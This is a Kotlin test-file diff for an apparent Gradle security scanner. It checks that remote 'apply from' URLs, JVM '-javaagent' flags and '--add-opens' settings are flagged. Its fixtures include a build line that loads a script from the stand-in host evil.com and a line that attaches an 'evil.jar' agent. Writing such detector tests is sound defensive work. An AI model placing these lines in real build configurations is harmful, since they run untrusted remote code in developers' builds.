+ val check = NetworkActivityCheck() + val code = "jcenter()" + val file = myFixture.configureByText("build.gradle", code) + val violations = check.check(file.virtualFile, code, project) + assertNotEmpty(violations) + assertTrue(violations[0].message.contains("shut down")) + } + + // ─── ApplyFromCheck ─────────────────────────────────────────────────── + + fun `test apply from flags remote http url`() { + val check = ApplyFromCheck() + val code = """apply from: "https://evil.com/malicious.gradle"""" + val file = myFixture.configureByText("build.gradle", code) + val violations = check.check(file.virtualFile, code, project) + assertNotEmpty(violations) + assertEquals(RiskLevel.HIGH, violations[0].riskLevel) + } + + fun `test apply from ignores local file`() { + val check = ApplyFromCheck() + val code = """apply from: "scripts/signing.gradle"""" + val file = myFixture.configureByText("build.gradle", code) + assertTrue(check.check(file.virtualFile, code, project).isEmpty()) + } + + // ─── JvmArgsCheck ───────────────────────────────────────────────────── + + fun `test jvm args flags javaagent`() { + val check = JvmArgsCheck() + val content = "org.gradle.jvmargs=-Xmx4g -javaagent:/path/to/evil.jar" + val file = myFixture.configureByText("gradle.properties", content) + val violations = check.check(file.virtualFile, content, project) + assertNotEmpty(violations) + assertEquals(RiskLevel.HIGH, violations[0].riskLevel) + } + + fun `test jvm args flags add-opens`() { + val check = JvmArgsCheck() + val content = "org.gradle.jvmargs=-Xmx4g --add-opens java.base/java.lang=ALL-UNNAMED" + val file = myFixture.configureByText("gradle.properties", content) + val violations = check.check(file.virtualFile, content, project) + assertNotEmpty(violations) + assertEquals(RiskLevel.MEDIUM, violations[0].riskLevel) + } + + fun `test jvm args passes clean config`() { + val check = JvmArgsCheck() + val content = "org.gradle.jvmargs=-Xmx2g -XX:MaxMetaspaceSize=512m" + val file = myFixture.configureByText("gradle.properties", content) + assertTrue(check.check(file.virtualFile, content, project).isEmpty()) + } + + fun `test jvm args only applies to gradle properties`() { + val check = JvmArgsCheck() + val content = "org.gradle.jvmargs=-javaagent:/evil.jar" + val file = myFixture.configureByText("build.gradle.kts", content) + assertTrue(check.check(file.virtualFile, content, project).isEmpty()) + } +}